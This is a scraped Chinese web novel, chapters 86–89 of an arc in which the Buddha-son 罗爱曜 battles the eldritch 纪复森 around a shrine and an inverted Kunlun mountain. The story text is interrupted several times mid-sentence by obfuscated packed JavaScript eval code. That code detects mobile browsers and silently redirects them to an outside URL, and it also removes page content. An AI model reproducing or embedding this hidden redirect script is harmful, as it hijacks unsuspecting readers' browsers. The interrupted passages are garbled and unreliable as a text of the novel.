纪复森因庄乐的“出逃”而受暗伤,又因监视庄晓的风洞而献祭部分能力。终日打雁,叫雁啄了眼。纪复森事先就因贪心而埋祸,现在遇上罗爱曜此等阴毒存在,难道这也是因果流转之地带来的异常影响? 86.旧日幸存者篇(三十八) 冻土,永恒的冻土。这颗星球的第一次冰河期,大气层形成,剧烈地壳运动,这颗星球与别颗星球没有两样。三亿年的漫长羊水期,孩子——纪复森不喜欢生命出现之后的繁殖意象。祂成型,祂出现,祂知道自己不属于此地,彼时星空只是黑黑的母亲的双手,按摩祂的后背,使祂趴伏在这广袤的大地上,长大之后,像球一样蜷缩,被怀抱着或怀抱着,大到一颗星球,小到一粒星火。夜晚本身没有意义,时间使祂舒展,在人类定义“全知全能”之前,祂就已经在实践着全知全能。人类是很后面才出现的东西,像一枚电子或中子,从祂的微观世界慢慢放大,眼睛贴上去凝视,于是人类愈来愈大,而祂便愈来愈小。祂的记忆被时间磨损了,品性则是从来没有存在过。从一缕影子旁听人类围火夜话开始,意义被构建,分出了“你们”与“我们”,分出了天与地,分出了神与人。当祂想收回凝视人类的眼睛,转而注视星空时,祂发现“之外”的世界好远。“你们”与“我们”,别的东西与祂。总有一天祂会回到属于祂的地方。为此,祂浪费了成千上万个假名,拷问所有有可能启发祂的存在。对祂来说,没有真正的爱,也没有真正的恨,只有符号、注脚、曲线、配方、文字、教派、仪式、器具、处刑和装置,金银铜铁、字里行间流出的奶水是恐惧。祂便这样活着。这世界对纪复森来说是筑起高墙的婴儿床,远星的世界悬在头顶转啊转,相互碰撞发出铃铛响声。直到时间发出清脆的响声,纪复森才恍然意识到,祂所谓的“时间便是空间”、“全知全能的自如”难道是倒流逆转的谎言。不知何时起,祂对自身的大小、能力都迷失了。甚至连这“意识”也是拙劣的类比成真。没有任何存在能够确认纪复森有真正的“意识”,就连纪复森自己也不行。 时间发出了清脆的响声,像人类咬碎饼干,像篝火噼啪,像陨星炸裂的幻听。祂会成为一个种族吗?成为种族是否意味着——彻底被这颗星球同化、吸收?祂不再是超越的、自由的。癫狂迷乱的念头从人类诞生起就慢慢地膨胀、膨胀。像祂这样的存在不需要动机和意志来“做出行动”。与其说祂“习得”这一切,毋宁形容为祂玩耍了所有事物,以至于玩砸了。清醒一阵,疯狂永远。庄晓。还有祂的丑陋的血肉之子。无法被压缩进“图书馆”、“藏品”的跟屁虫一样的幽灵,在耳旁尖叫、啼哭、嘶鸣,就连祂这样的存在都难以忍受。 云气之中的螺旋结构,海螺般的剖面之中,一条血线若隐若现,一道长长的枪铳射击般的贯穿伤。祂不记得这预言究竟是谁给出的了,或许是西比拉*1们,也或许是底波拉*2、皮媞亚*3和卡珊德拉*4,总之那是个女人。人类笃信这是群星的中心,即便不是,未来也可以是。女人们说所有宇宙的血脉都会各得其所,女人们制作好了柔软的温床,总有一天世界上被杀死的都是男人与父亲,留下的总是女人与母亲。祂不知道这些预言究竟蛊惑了多少意志不坚定的古老存在。祂靠食用祂们遏止这样的种族性的堕落。 脓黄色的眼睛徐徐睁开。错误已经发生,时间崩塌的声音愈来愈近了。倒计时对宇宙来说都难以忍受,更遑论祂这样的宇宙产物。 先知在祂的消化器官中发出咕咕的鸣声,预言曾一卷一卷地生产,堆满祂的灵魂图书馆。祂从预言的末尾往前翻阅查看,确认视线的局限性,于是献祭积攒的恐惧力量——在这篇预言的受难地,祂如盲人,却能窥见全局;献祭之后,只能窥见极小的面积,却恢复所有视力。 这是一个容易令人遗忘的、平凡的名字。庄晓。从祂的收藏罐子里取出任何一个名字都比这名字更长更醒目。不知道为什么是他,直到今天还是不知道。他的名字与他的面目一样模糊。在祂的“家”中,一个面目模糊的、可怜的、微缩的原子核自旋,盯着他意味着背离群星。有时纪复森也会望着这样的自旋出神。 失去“昆仑”让纪复森确定了接下来祂要做什么。祂不能空手回去,不能既失去群星也失去曾最亲近的幻梦。 在佛子宝殿中,不论其他人如何不自在,反正施霜景很自在。 他让庄晓好好冷静了一会儿,郎放隔开了蒋念琅和庄理安,不让她靠近庄理安和庄晓怀中的金球。郎放陪在庄晓身边,蒋念琅就只能当施霜景的跟屁虫。大男孩和小女孩到底算是好朋友,施霜景看出蒋念琅对佛子宝殿的好奇,一把将她抱起,“你要不要摸摸这些窗户和柱子?” 蒋念琅当然乐意。她左摸摸右摸摸,感受施霜景之前所说的“佛子像总是朝向我”这一体验。 绕了一圈,蒋念琅对施霜景说悄悄话:“你不想看看那块蓝布下面的佛像吗?” “不可以。”施霜景直截了当地拒绝她,点了点她眼睛上的色布,“佛子像不能直视,你现在都要戴布条才能看到他盖了布的佛像,掀开蓝布估计会惹祸。” “好吧,好吧。” 蒋念琅鬼点子多,她的手停在镂空槛窗上,又压低声音说道:“不是怕‘眼睛’吗,佛子像不能直视啊,让佛子去看它不就得了。” …… 好像是这个道理。 施霜景有种要长脑子了的感觉。难道这是佛子把他们带进宝殿的原因吗?难道佛子的密宗造像是什么美杜莎吗?了不起,施霜景暗自夸夸自己,怎么有文化成这样,连美杜莎都能搬出来了?平时还是应该适当刷刷短视频。短视频也可以增长知识。 施霜景心中问道:“佛子,你是这个意思吗?把你的佛像当美杜莎来用?” 等了片刻,收到回音:“不要这么做。” 施霜景:“那要怎么做?” “闭嘴。” 施霜景:“?” “把布摘下来。” “施霜景,静心。” 施霜景:“什么意思?你说话只说一半我很难办。” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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罗爱曜切断与施霜景的联系意味着罗爱曜不再能捕捉施霜景的想法,但他依旧能俯视宝殿内部发生的事。纪复森如今应该也如是,谨慎得令人心烦。 *1:西比拉:古希腊的“女先知”代称,女性神谕者。 ''The Sibyl, with raving lips uttering things mirthless, unbedizened, and unperfumed, reaches over a thousand years with her voice, thanks to the god in her.'' *2:底波拉:古希伯来的著名女先知和唯一一位女士师。 *3:皮媞亚:德尔斐神庙中的女先知,女性神谕者,通过吸入神秘气体进入癫狂状态后传递阿波罗神谕。 *4:卡珊德拉:特洛伊女祭司,神注定她会说出真实的预言,但永远不会被相信。 87.旧日幸存者篇(三十九) 庄晓在郎放怀里因惊恐而抽搐,庄晓再一次失去了对真实和虚假的感知,怀疑一切,怀疑眼前的场景全是骗他的,怀疑他根本就没有离开过纪复森的监视。郎放一筹莫展之际,晃眼看到施霜景戴了他送的清心蛊手绳,郎放连忙叫住施霜景,向他要回手绳,手指捏挤开铃铛眼,倒拍几下,掉出一只虫尸。郎放直接将蛊塞进了庄晓嘴里,强迫他吞下。 “蛊虫是能吃的吗?”施霜景惊了。 “蛊虫本来就是要下给人吃的。”郎放平静地普及这一常识。 庄晓几欲呕吐,郎放帮忙摩挲推拿他的胸口,等了一阵,庄晓蜷缩在地,终于不抽搐也不发抖了,只是虚弱,他喃喃自语,“纪复森的风洞……寄生……确实要堵上,但是没办法,我不知道……我从来没有真正‘解决’过祂。祂怎么可能被人类所解决。佛子会被祂吃掉吗?我不知道,但是我不想投降,我想死在这里,我宁愿死在这里,这里好歹干净。” 施霜景抓起庄晓的衣领,强迫他抬头,“佛子不可能让任何人死在这里,小心他让你永世不得超生。听着,刚才小鼓说,让不可被直视的佛子像对上纪复森的眼睛,这会不会有用?” 庄晓木然道:“那得引出纪复森的眼睛,还要抓准时机。祂可以选择闭眼不看,祂知道我们现在在想什么。” “纪复森为什么要开这枚风洞?是为了监视你吗?”郎放问。 庄晓也纳闷,“是啊,祂为什么知道我会来?甚至就连祂的信徒都知道了……所以才屡次上门……我当初是追踪那些信徒才来到这里,我以为他们的目标是施霜景,为什么?时间和因果像一条衔尾蛇,我理解不了纪复森。但我知道这类似的结构,是祂寄生的手段,风洞也可能只是一个结果……是啊,为什么要有眼睛,可能里面根本就没有眼睛。” 郎放转而问施霜景:“佛子给你的法器里,有没有日严寺石影像?” 施霜景捻了捻珠子,日严寺石影像,日严寺石影像,手上忽的一沉,施霜景下意识摸了摸,是石头造像,形高一尺,径约六寸,十分沉手,可又没有沉到让施霜景有负担的地步。他尴尬半秒,“是这个吗?” 郎放只是尝试性地一问,怎么真的有。 施霜景将石影像交到郎放手里,郎放说:“我使用石影像,可代替业镜,示现诸天业。我们使石影像照见这座宝殿,其实庄晓担心的是纪复森是否已经顺利‘寄生’到这个空间——如果已经寄生了,石影像会有所示现。来的可能是‘眼睛’,也可能是纪复森顺着风洞让本体侵入——我可以这样理解吗,庄晓?” 庄晓沉思。 石影像在郎放手里沉睡如婴孩,郎放轻抚石影像,摸了半天,竟然是无法启动。“不行,这是佛子给你的,只有你能用。”郎放将石影像还给施霜景,“佛子有没有教过你怎么使用这些法器?” “没有。”施霜景说,“佛子说这些法器都没有用,只是用来拖延时间的。” “他可能是没有琢磨过这些法器的使用法,毕竟他不需要使用这些法器就能达到目的。”郎放不是故意说罗爱曜坏话,他认为自己只是在解释罗爱曜的潜在想法,“这些法器大部分需要相应的密咒启动,他估计也懒得教,但他应该会教一句通用的密咒?” “他教过直接召唤他的密咒。”施霜景笃定道,“现在把他召请过来,是不是打乱他的节奏?” 施霜景内心焦虑,同郎放商量的时候,也学着刚才郎放的动作轻抚石影像。与盖着蓝陀罗尼被的巨大密宗造像相比,手中石像浑圆可爱,线条弯钝,五官、身形都是写意的模糊。摸着摸着,忽的摸到湿滑触感,施霜景猛地低头查看,可石影像一切如常。他刚才摸到了什么? “我倒是觉得你可以放开手脚去做。”郎放说,“佛子似乎给了你自由度。” 从上次鬼子母神仪式就能看出,施霜景对罗爱曜似乎有特殊意义。罗爱曜对谁都相当不客气,除了施霜景——尽管有时罗爱曜的语气还是很坏。在场所有人都眼戴色布,只有施霜景戴的色布有罗爱曜标记,施霜景在法殿中感受自如应该也是拜此所赐。剩下其他人都难免有压抑之感,潜意识中知道不能造次。 施霜景没给回应。自由度?有什么用?就好像施霜景的随机应变正是罗爱曜想要的一样,一种高级的算计。不知道为什么,施霜景从刚才起就心里有怨。恍惚间他又听见罗爱曜在心中对他说:“把石影像收回去,没有用。” 施霜景:“我刚才摸到了怪怪的东西。” 罗爱曜:“什么都别做。” 施霜景:“你刚才不是让我把眼睛上的布揭下来吗?” 罗爱曜:“是的,这个可以。” “这个可以”是什么说法?施霜景胸中愈来愈犯恶心,太阳穴胀痛,身体内的不适感无法言说,某种有弹性的塑胶质感,可是活人的躯体是各部分与器官紧密相连、不可随意让人捏玩的。 宝殿内净光流动,如微缩珠宝般的浮尘,缓缓折射出琉璃蓝光。施霜景手中的日严寺石造像正在启动——原谅他们这群现代人使用“启动”这样的词汇,他们既不得法门,又不知其典故。在施霜景看来,罗爱曜交给他的这些法器都只是装置和道具而已,纯粹的工具。可施霜景无暇注意这渗透般的蓝光,他无法停下抚摸石造像的手,刚才他又摸到几回那种黏腻蛄蛹的质感——过了好久,施霜景才找到合适的词。眼球的质感。 邪祟的伟大存在寄寓宝殿与现实的夹缝,在事件还未张扬时就插入了管道,在重叠的空间中得以窥视宝殿,甚至保留这一管道。祂不认为佛宝就是如此澄澈圆满吉祥之法物,人类命名这些力量时太有失偏颇。石造像开始捕捉、复刻祂的踪迹,模仿其管道的移动,可为什么人类就不觉得这样感知异物的异物令人恶心呢?圣光也可以是异光,遭祂污染之物仍可以做圣物吗?陀罗尼被所覆盖的密宗造像在效果上与祂大同小异,都是令人崩溃、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在明净琉璃蓝光之中,一只脓黄色巨眼在宝尘中如沙影,其移动频率极高,光瞥见一眼就几乎会令人血液逆流。这一连串动作像是纪复森算好的那样,可施霜景还是挣脱了这一预言链条,在沙影即将接触到庄理安的时候拦下庄理安。 “低头!” 施霜景喝喊。 郎放直觉意识到自己给出了错误的建议,可此时已经来不及了。他想抬头去看施霜景接下来要做什么,可施霜景刚才那句“低头”如是在宝殿内给所有人下了咒言,不仅是郎放,其他人全都低头,蒋念琅甚至下意识闭了眼睛——不为什么,大难临头的预感。 施霜景和庄理安离佛座非常近,施霜景瘸腿站起,忍痛跨步过去,一把扯下了笼罩在佛子密宗像之上的蓝色陀罗尼经文被。施霜景顺手将蓝布盖在庄理安和金球身上,再一抬头,直面这不可言喻的造像。 眼睛看见了一切,大脑却完全没办法处理,思维停止,意识停摆。眼上的祭蓝色绸布化灰消逝,裸露出施霜景一双赤诚眼睛。 罗爱曜不愿此刻见到施霜景的眼睛。机会降临,机会丧失。前者是胜利的机会,后者是生命的机会。佛子的琉璃法身与宝殿密宗示像是两重不可示人的天地至可怖之物,甚至分不出高低,从不放过一次残忍机会,且从来都无可转圜。 罗爱曜承认此刻的痛苦,进而人生第一次承认某种无能。 88.旧日幸存者篇(四十) 施霜景接下来的行为都是机械反应。 大脑没办法处理直面罗爱曜密宗造像的感官信息,此刻的施霜景最适合当某些外来意志的傀儡。可是莫名地,施霜景似乎知道自己应该做什么。他掀开密宗造像的陀罗尼被,是为了让罗爱曜直接对上猖狂的异神。施霜景无意加入这场战斗,他只是一个普通人类,拿什么来干涉两个怪物的战场? 陀罗尼被内略有起伏,施霜景一脚踩上经被边缘。 “别掀开。”施霜景的声音被扭曲、拖长,宝殿内的时间与空间性质都发生变化,施霜景所说的三个字有着蛇腹贴地而行的嚓嚓声质感,尾音破碎,湮没在不知来处的风中。 如果有人抬头且没有被罗爱曜的密宗造像吸引目光,他们会注意到施霜景双目流血,几行血泪染花他的脸,施霜景似乎能感觉到眼睛不舒服,不规律地眨动双眼。 施霜景跪地,隔着陀罗尼被确认庄理安还在被子下,他很快就摸到人,然后施霜景以身半盖住庄理安、与此同时,他从兜里掏出了第二条蓝色绸布,手脚笨拙地系在眼睛上,学着其他人的动作,埋头不看,且不再做其他动作。 或许施霜景体内疼痛的神经机制已经失灵了,也或许这又是另一场幻觉,总之施霜景大抵是受义务和责任的驱使才完成了这一切。 在纪复森设计好一连串动作之前,施霜景就已经满脑子想着美杜莎的比喻。他很会简化流程,思路简单,先做这个、再做那个,为什么需要有这么多顾虑?郎放的话在一定程度上鼓励了他。 没有人能看见密宗造像具体的长相。留在施霜景脑海中的这些视觉信息将永远无法得到妥当的加工,并转化为认知、意识,令他“了解”这一造像的真实面貌。 罗爱曜将其抹除了。罗爱曜不想让这些如爆炸般的、可怖的视觉信息成为施霜景一生的噩梦。 施霜景不需要知道这密宗造像有多少只手、持有多少种不同法器、捏多少种印。施霜景不需要记住造像的颜色是黑还是铜还是金还是寒铁。施霜景不需要透过造像的表情、神色来猜佛子的威能、宽恕、惩戒和无动于衷。 只要记得罗爱曜原本的样貌就好。记得他身为人类时的样子。记得那种鲜活的、生命的质感。罗爱曜只想让施霜景记住这些。 黑夜提前降临紫坪铺水库,如漆黑的碗钵倒扣。倒悬的昆仑三角簌簌地抖落下冰粒,抑或是盐粒、细砂和火药灰。水面平静,如果有人试图踩上水库的水面,会发现这已经完全结成了硬质的平面,是地板的质感。银白色灰粒渐渐铺满整片水面,像从零开始的积雪。昆仑三角进一步下沉,其最顶端仿佛马上就要触及到水面。它无规律地震颤着,仿佛会在人的视网膜上留下不可抹消的残迹,每一次轻微移动都是扩大它在人心中驳杂的阴影面积。 之前如风眼的纪复森本体已完全不见踪迹,似乎隐匿到了黑暗中。昆仑三角闹空城计,内部的墙壁、地面上布满罗爱曜的金色诫文。此诫文与留在施霜景身上的诫文完全两模两样,其功能性不同,诫文的形式也天差地别,远看有病毒的错觉。 罗爱曜知道,现在是科学的时代,他很期待眼前这一结构用物理学、化学、生物学甚至数学来解读,会有什么样的结果。罗爱曜的视角太无趣了。许多事物的存在和功能都是理所当然的。昆仑是仙山,所以昆仑可以移动,甚至用作飞天的载具。因此罗爱曜能理解纪复森为什么想将它作为“星槎”。至于昆仑为什么可以移动,它使用能量的原理是什么,罗爱曜一概不知,现在也不是寻根问底的时候。 昆仑内部有很复杂的地理结构,然而这地理结构是层叠、微缩的。昆仑九层,增城九重,曾有铜柱入天。增城内部不像现代人类建筑那样有固定的层高,置身其中的人不会认为自己进入某个建筑或是装置,对他们而言,每一层应该就如同现实世界,有无穷高的天,有夯实的地面。 “老天爷,活的非线性拓扑空间,生物感知不到整体的边界,会将循环的结构视作分层。”蒋良霖在瑶池底部发出这样的感慨,“纪复森为什么不去发展这一技术?用昆仑做飞船不如考虑用昆仑的技术做飞船啊。” “我嗅出了一点奸商的味道。”杨慧说。 “纪复森躲在这样的结构里,非常刁钻,但非常符合祂的特性。”蒋良霖说,“其实最简单的方式是毁掉昆仑,但我不确定这种非线性拓扑结构与磁场的耦合会不会被破坏,如果耦合的深度超过一定值,破坏它就跟破坏地磁一样,这真就完蛋了。你不是说昆仑是神山吗?神山具有的神性有时候就是这样体现的。” “罗爱曜会精细地调控……我就叫它‘因果场’吧,罗爱曜的因果场具有某种还原性,他可能可以顺利还原昆仑,并借这种还原的趋势和过程逼出纪复森本体。我寄希望于你对昆仑有招数,接下来得交给你了,我在旁边应付特殊情况。”蒋良霖诚恳说完,龙身爆裂成齑粉,弥散的黑尘才是他比较擅长使用的本体。他今年三十二岁,做人类二十五年有余,做龙不满七年,从来都是用人类的思维估算可能的成果和损失,估计到他的四十二岁、五十二岁也依然如此。 佛子宝殿内的脓黄色眼睛发出无声的叫喊,一度支离破碎,可在这般不可直视的威迫中,眼睛无法移动也无法闭合,更无法解体并隐藏进宝殿的角落。祂僵硬了。宝殿的主人因为某种紧急事件而移动着宝殿,原本他应该将这些碍事的人类都留在原地,留在这平平无奇的居民楼房间中,可他不愿给祂留下机会。宝殿强行转移了,连带内容物,一起转移到水库的巨大漆黑空间中,天地无明,密宗造像退进黑暗中,取而代之的是本尊琉璃法身,诡秘奇彩却半隐于乌云间,微微倾身,其琉璃法身随法而变,竟是比昆仑三角还要庞大,坐群山间像佛坐莲台。整片天地晦明有致,如挑灯看画。 金色诫文在昆仑内所有的平面上附着、演变、增殖,纪复森留下的那些真真假假的东西——人、物、所谓收藏、历史、踪迹、存证……还原过后,都曾是水、空气、石、木、分子、原子、电子、中子……这种还原的过程需要非常精确的控制,比纪复森到来前更早的时间需要保留,否则昆仑将要解体;纪复森到来之后做过的改造要全抹消。 这才是会让纪复森感到最极致痛苦的方式。像纪复森这样的存在,不值得任何记录来证明它曾存在过。它的存在早于人类意识的出现,就将永远被驱逐出人类意识之外。 纪复森没有感知痛苦的器官,祂所有的痛苦皆是习得的,可他习得的痛苦都很肤浅,最大的痛苦不过就是死亡的痛苦,一瞬间戛然而止的、释然的痛苦。现在这种还原的过程仿佛是有另一条戒律从根本上否定祂的合理性,认为祂缺乏坚实的本质,以至于让人轻轻地逆拨时针,便使祂所有的努力都逆流回原本的模样。这样的惩罚本不应该随意地使用,可谁让纪复森并不在这一道德的体系内,祂没有为自己寻找到道德的立足点,反倒是全部毁坏了。规则的使用者亦受规则束缚,然而承认规则的存在比混沌的无知多出那么多清晰可见的结论果实。无知的混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525489|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沌与有知的混沌是两码事。某种东西崩塌了,如此精细的手术剔出了如此完整的神经,这本是不可能的事,然而比耐心,从没输过的人是罗爱曜。 昆仑三角剧烈地颤抖着,广阔的水面上,人和尘没什么两样。郎放率先感觉到他们被转移了,他非常警觉地抬头,只能见到巍峨的巨山倒悬,其凄惨不用言说。 没有人会看见罗爱曜的琉璃法身。他的密宗造像与琉璃法身皆不可直视,然而密宗造像的制作目的就是让人所看见,琉璃法身却并不常会在人的眼中以具体形态示现。都是见之若死,琉璃法身反倒比密宗造像更安全。 他们一行人随着宝殿被转移来,罗爱曜最终还是选择在宝殿中干脏活。他们原本做的计划是用宝殿保护剩下的人,罗爱曜示现法身,有条不紊地处理倒悬的昆仑三角,并找寻机会,给纪复森致命一击;蒋良霖与杨慧处理正置的昆仑三角,杨慧身为西王母,秘宝加身,不行也得行。 宝殿可以无限放大密法效果,是为了加速。 郎放拉起蒋念琅与庄晓,他们离昆仑三角太近了,昆仑三角的山巅离他们最多不超过十米,且还有继续下沉之势。 “跑!往边缘跑!小鼓,你拉上庄晓,你们先跑!”郎放吼道。 郎放能看见趴伏的施霜景。庄理安呢?施霜景的姿势很不自然,施霜景将庄理安护在身下了吗?郎放太担心施霜景了。他刚才就不应该说什么“佛子似乎给了你自由度”这种屁话。如果施霜景出了什么事,郎放要担全责。 “施霜景,施霜景,起来,我们要离开这里……你的眼睛怎么了?!你还能看见吗?” 施霜景神志不清,没有办法回应郎放。郎放扶他起来,施霜景身下的庄理安还蜷缩在原地,郎放一肩支着施霜景,只能用脚踢了踢庄理安,“起来,小庄,你也起来,抱着球,我帮你拿着陀罗尼被,我们要跑。你能听懂吗?跑!” 庄理安懵懵懂懂地站起来,身上的陀罗尼被已经被郎放掀开了。郎放顺势一指,将庄晓和蒋念琅逃跑的方向指给庄理安看。庄理安起初不确定要不要跑,郎放严厉地催促他,即使庄理安听不大懂,也能知道郎放的意思,于是他抱着金球奔向了那一大一小两个正在往外圈逃跑的人。庄晓频频回头,看见庄理安的身影了,他想拽停蒋念琅,等等庄理安,奈何蒋念琅身体素质太过硬,根本不动分毫,只知道郎放让他们往外跑——天上的昆仑要掉下来了!长了眼睛的人都看得见!! 郎放背起施霜景,施霜景的脸无可避免地靠上来,满脸湿漉,血浸透蓝绸。正当郎放以为施霜景凶多吉少之时,施霜景开口了:“抓到纪复森了吗?” “还没。”郎放喘着粗气,这仍是宝殿的场域,对郎放来说压力太大。 “还要多久?” “不知道!” “我好困,郎放,我能不能先休息一下……” “不能!喂,施霜景,不能睡,会死!罗爱曜,罗——” 郎放的后背忽然一轻。该死,这是什么意思?施霜景被带走了?!谁带走的?千万不能是纪复森。郎放对罗爱曜的能力评估一下子失了准,佛子到底是强还是不强?然而下一秒劲风以昆仑山巅为圆心,一阵一阵扩开,像风浪。 失明的人会见到一层朦胧的清光吗?死之前会同时失明和失聪吗?好安静。一切都好安静。施霜景均匀地呼吸着,抵抗不了睡意,还是选择与睡意相拥。 罗爱曜的手虚虚抚过施霜景的双眼,拥抱确是实打实。赶上了。 89.旧日幸存者篇(四十一) 蒋念琅一门心思拉着庄晓往外冲,她依稀能看见山岸,但不论怎么跑都无法抵达。她几次回头,倒是发现他们与昆仑三角的距离拉远了。 蒋念琅想起郎放低声叮嘱她的话:“千万不可以在纪复森的眼皮底下化成龙形。”郎放知道这女儿是知其然更要知其所以然的性格,还解释了,“纪复森会吃神,之前你和小景在滑冰场碰见纪复森,我们怀疑祂不仅要解决小景,还要把你吃掉。你现在是人类的形态,龙的属性就被大大降低,暂时不在祂的食谱里,但你要是化成龙形,我们都不知道会发生什么。” 郎放没能顺利背走施霜景,眼看着倒悬的昆仑山顶正凝聚着不可名状之物,他只能重新集中注意力,奔向跑步速度有些慢的庄理安,一把将小孩抱起来,托着小孩的屁股,让庄理安面朝着郎放的背后,把金球夹在郎放和庄理安的身体之间。 庄理安的身体是用地脉圣母的玫瑰经圣物所“仿造”、“模拟”出来的。他虽有五感,可这五感都有生硬、陌生之感。庄理安没有味觉;不大能处理视觉信息,尽管他能“看见”人类该看见的那些东西;不能理解别人所说的话语;所穿的衣料让他很不舒服,摸到什么都觉得非常不舒服;嗅觉也和味觉一起丢了。 在这样的情况之下,庄理安也必然不能理解什么是“记忆”。他们离那即将倾圮的巨山愈来愈远,而风如水波般聚集,那种态势,好像与早期的某些东西有所关联,也或许是与庄理安的本性有所关联。庄理安在理解什么是“风眼”一般的纪复森之前,就已经体验过了。极致的恐惧与极致的向往,害怕却又想亲近,亲近了之后却又忍不住想要尖叫的欲望。这一刻庄理安与他的兄弟有所共鸣。一些很像是记忆的东西慢慢靠近。 尖叫,无尽的尖叫,脱离母体的羊水之后,这世界的一切都对新生的祂来说太过痛苦。没有爱,没有关怀,没有注意,有的只是无尽的黑暗。人和祂的混血需要这些多余的东西。没有真正地死,可也没有真正地活过哪怕一天。纪复森将庄乐留在那里,就像是将草种随意地往地上一扔。纪复森不知道这是怎样的一颗草种,直到这颗草长成,坚硬地刺穿了纪复森的脚掌。那根刺是庄乐的恐惧。恐惧使庄乐永远处于一种惊恐的应激状态。尖叫,无尽的尖叫,令人落泪的尖叫。六年过去了。如果没有这次的相遇,可能会是六十年、六百年、六千年……甚至能到下一个六亿年。那时的庄乐该长成多么恐怖的巨物啊。纪复森到底没有真正地、完全地吃掉庄乐。那些女先知的呓语终究是使他信了。 庄晓接过庄理安,将他抱在怀里。孩子找到各自的母亲。郎放说:“你和小庄都用这条陀罗尼被把自己裹起来。这是佛子的致密法宝之一,拢共应该也就是这么几条还存世。佛子以前用另一条陀罗尼被让施霜景起死回生,现在我手上的这条只会更有效。” 庄晓千言万语不知从何说起,接过陀罗尼被后,只是连说了五个“谢谢”。他搂着庄理安,身上披挂陀罗尼被,这一幕竟然像蓝衣圣母怀抱耶稣。郎放是常年与玄事打交道的人,可事到如今连他都不免感慨,万事相合到这般地步,缘分有时真让人深感惊悚。 “妈妈,我也要抱。” 郎放抱起女儿。这下他想去找施霜景的心被彻底打消,他们自己都自身难保。 他们能做的就是尽量往外圈走,远离风暴中心。风浪一波波往山顶的尖端汇聚,郎放一行人如风雪中的旅人,郎放真觉得要吐血了,他能感觉到佛子宝殿迁移到紫坪铺水库之后,威压进一步加大,直压得人喘不过气来,耳朵里甚至幻听到梵钟声响,撞了一下、两下、三下……极其规律,极其眩晕。 黑暗的边界开始模糊,仿佛某种底纹已经嵌进了黑暗中,有藏红、鎏金、黑曜和霁蓝的视觉残像,不论睁眼闭眼,都觉得八宝莲花型的宝殿在黑暗中更新迭代成了更不可示人的诡奇版本,甚至所谓的“宝殿”形态都在这种怪谲的心理暗示中解体,只剩一种强作的印象和定义,其原型已经全然重构了。 成千上百只漆黑佛手扼住了那只曾在宝殿中沾沾自喜的巨眼,也就是早就安置在施霜景家中的风洞中的那只滑溜溜的眼睛。 如果不是施霜景揭开了罗爱曜密宗法像的屏障,如果不是时机太好——那只眼睛正想趁乱从暗处偷走庄理安和金球,罗爱曜很难在短时间内抓到它。罗爱曜承认这一点。 这只眼当然不能用常人的思路去理解它,它只是具有眼睛的功能,也因其功能让人将其扭曲的形态划归成“眼”的形态,但其真实形态与“眼”相去甚远。 而黑暗中的“手”真的也可以被认为是手吗?罗爱曜上一次触到纪复森本体是在分隔宝殿之时,罗爱曜失手让纪复森的本体滑脱,不过他还是顺利地借此潜入了昆仑三角。如今他切切实实地抓住了纪复森本体的一部分,必不会放过。 黑暗中的佛手也像幽冥长河的水草,这些枝蔓将巨眼牢牢地固定住,某种因果的流河冲刷而过,这就直接多了,不留缝隙地摧残这挑衅的始作俑者,像是用王水一次一次地腐蚀,总有会消磨一空的时候。 没有人身斗法,没有高声质问,没有陈情转圜。残影便是终局,无声便是宣判。 螺旋的风眼,光是见其汇聚,就能在脆弱的神经层面共情到祂的痛苦。那根若隐若现的血线像一道窟,渐渐地具现在众人面前。天地间这是唯一一抹具有血肉质感的鲜亮颜色。 昆仑进一步下沉,其尖触地,群山间回荡着震耳欲聋的崩塌之声。只见这风眼有想要解体的欲望,想要回到昆仑去,可昆仑内间歇闪烁着幽暗金光,隐藏在黑暗中的宝殿边界也开始旋转如宝轮,很像是某种收妖降魔的控制性的动作。 庄理安头痛欲裂,在庄晓怀中发出不似人声的惊叫。他手里的金球——庄乐的阿赖耶识似乎有想回到血窟之中的冲动,庄理安紧紧地抱着,庄晓也将自己的手覆盖上去,但他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525490|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人还是被这金球牵带着往前滑动。 他们好不容易才拉出了距离差,庄晓好不容易才重新抱住最重要的人们,庄晓怎么可能让纪复森得逞。 佛子,你能知道施霜景在想什么,那你能知道我在想什么吗? 佛子,我将我所有的经验都向你开放,你会找到杀死纪复森的方法吗? 佛子,我此时此刻能否真心信仰你。 佛子,我向你许愿,让纪复森消失吧。这一切就应该在今日喊停。 佛子…… 大脑中忽然有一抹细微的闪光,如闪逝流星。所有的记忆进入到更广阔幽深的静殿里。罗爱曜并不轻易和人达成合作,他对庄晓的记忆也一点兴趣都没有,但他不会放过任何利用人的机会。主动开放是一种虔诚的信任,罗爱曜早就想过借庄晓的脑子一用,不问自取实在侮辱罗爱曜名声。 